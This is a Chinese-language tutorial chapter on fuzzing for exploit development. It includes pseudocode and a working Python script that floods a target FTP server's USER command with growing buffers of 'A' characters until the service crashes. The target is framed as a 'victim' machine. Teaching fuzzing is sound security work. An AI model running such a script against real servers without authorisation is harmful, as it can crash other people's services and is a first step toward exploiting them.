##模糊測試
這一章將會演示教你如何寫一個屬于自己的模糊測試腳本,當我們進行exploit研究和開發的時候就可以使用腳本語言發送大量的測試數據給受害者機器,但是這個錯誤數據數據很容易引發應用程序崩潰掉。而Python卻不同,當程序崩潰你與程序斷開連接了,Python腳本會馬上建立一個新的連接去繼續測試。
下面我們首先要解決的問題是應用程序如何處理用戶輸入的內容,因為在進行模糊測試的時候,我們會不定時的想到一些新的思路然后把數據發送給受害者機器上面來測試,這基本思路就是先與服務器建立連接,然后發送測試數據給服務器,通過while循環語句來判斷是否成功,即使出現錯誤也會處理掉:
下面是我們的一個掃描器的偽代碼:
```
#導入socket,sys模塊,如果是web服務那么還需要導入httplib,urllib等模塊
<import modules>
#設置ip/端口
#調用腳本: ./script.py <RHOST> <RPORT>
RHOST = sys.argv[1]
RPORT = sys.argv[2]
#定義你的測試數據,并且設置測試數據范圍值
buffer = '\x41'*50
#使用循環來連接服務并且發送測試數據
while True:
try:
# 發送測試數據
# 直到遞增到50
buffer = buffer + '\x41'*50
except:
print "Buffer Length: "+len(buffer)
print "Can't connect to service...check debugger for potential crash"
```
上面這個腳本框架能夠適用于各種服務,你可以根據你的服務(https,http,mysql,sshd)編寫特定模糊測試腳本.下面我們演示一個基于"USER"命令的ftp服務器模糊測試腳本:
```
#導入你將要使用的模塊,這樣你就不用去自己實現那些功能函數了
import sys, socket
from time import sleep
#聲明第一個變量target用來接收從命令端輸入的第一個值
target = sys.argv[1]
#創建50個A的字符串 '\x41'
buff = '\x41'*50
# 使用循環來遞增至聲明buff變量的長度50
while True:
#使用"try - except"處理錯誤與動作
try:
# 連接這目標主機的ftp端口 21
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target,21))
s.recv(1024)
print "Sending buffer with length: "+str(len(buff))
#發送字符串:USER并且帶有測試的用戶名
s.send("USER "+buff+"\r\n")
s.close()
sleep(1)
#使用循環來遞增直至長度為50
buff = buff + '\x41'*50
except: # 如果連接服務器失敗,我們就打印出下面的結果
print "[+] Crash occured with buffer length: "+str(len(buff)-50)
sys.exit()
```
上面這段代碼演示了一個基本的模糊測試腳本,但是值得注意的是你的腳本發送'\x41'可能不能讓你成功的拿下受害主機,但是你可以嘗試組合一些其他的字符(用戶詞典).還有一個更加高級的模糊測試工具[Spike](https://www.blackhat.com/presentations/bh-usa-02/bh-us-02-aitel-spike.ppt)和[具體介紹與演示](http://resources.infosecinstitute.com/intro-to-fuzzing/),它可以一次性的測試更多的數據,并且讓你能夠攻擊成功.最好布置一個練習:大家可以把上面的ftp測試換成http測試,這里提示:你可能需要使用httplib/urllib.